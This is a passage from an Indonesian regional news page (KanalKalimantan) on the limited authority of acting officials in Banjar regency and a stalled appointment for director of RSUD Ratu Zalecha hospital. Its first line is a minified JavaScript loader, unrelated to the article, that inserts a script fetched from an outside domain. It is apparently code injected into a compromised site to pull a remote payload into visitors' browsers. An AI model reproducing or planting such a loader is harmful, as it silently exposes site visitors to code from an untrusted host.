(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Padahal seorang pelaksana tugas di instansi pemerintahan jelas memiliki wewenang terbatas. Disebutkan dalam Undang-Undang Administrasi Pemerintahan (UUAP) Pasal 34 ayat 2 yang dipertegas dengan Surat Kepala BKN No. K.26.30/V.20.3/99 tentang Kewenangan Pelaksana Harian dan Pelaksana Tugas dalam Aspek Kepegawaian, badan dan atau pejabat pemerintahan yang memperoleh wewenang melalui mandat, tidak berwenang mengambil keputusan dan/atau tindakan yang bersifat strategis yang berdampak pada perubahan status hukum pada aspek organisasi, kepegawaian, dan alokasi anggaran.
Kabar yang beredar, ada dua kubu pendapat di DPRD Banjar perihal nama yang beredar untuk posisi Direktur RSUD Ratu Zalecha. Meskipun putusan terakhir ada di tangan Bupati, namun secara politis akan tetap mempertimbangkan segala resiko jika terjadi perbedaan pendapat antara eksekutif dan legislatif.
Walhasil, tak kunjung dilantiknya tiga jabatan tersebut, juga membuat pelaksanaan seleksi terbuka yang dilakukan BKD dan PSDM Kabupaten Banjar masih sia-sia. Padahal untuk melaksanakan semua tahapan seleksi terbuka, memakan anggaran lebih dari Rp 300 juta. (rudiyanto)
KANALKALIMANTAN.COM, JAKARTA - Tim Hukum Banjarbaru Hanyar (Haram Manyarah) sebagai kuasa hukum pihak pemohon yakni… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ribuan jemaah yang memanfaatkan angkutan jalur air untuk mengikuti Haul ke-20 KH… Read More
KANALKALIMANTAN.COM, MARTAPURA - Sehari jelang kegiatan rutin keagamaan 5 Rajab di Sekumpul Martapura, Bupati Banjar… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ketinggian air di Sungai Martapura kian menaik akibat curah hujan tinggi yang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kegiatan rutin keagamaan Malam Senin 5 Rajab akan berpusat di Mushola Ar… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Sekumpul pada kegiatan Malam Senin Momen 5 Rajab mulai memadati sejumlah… Read More
This website uses cookies.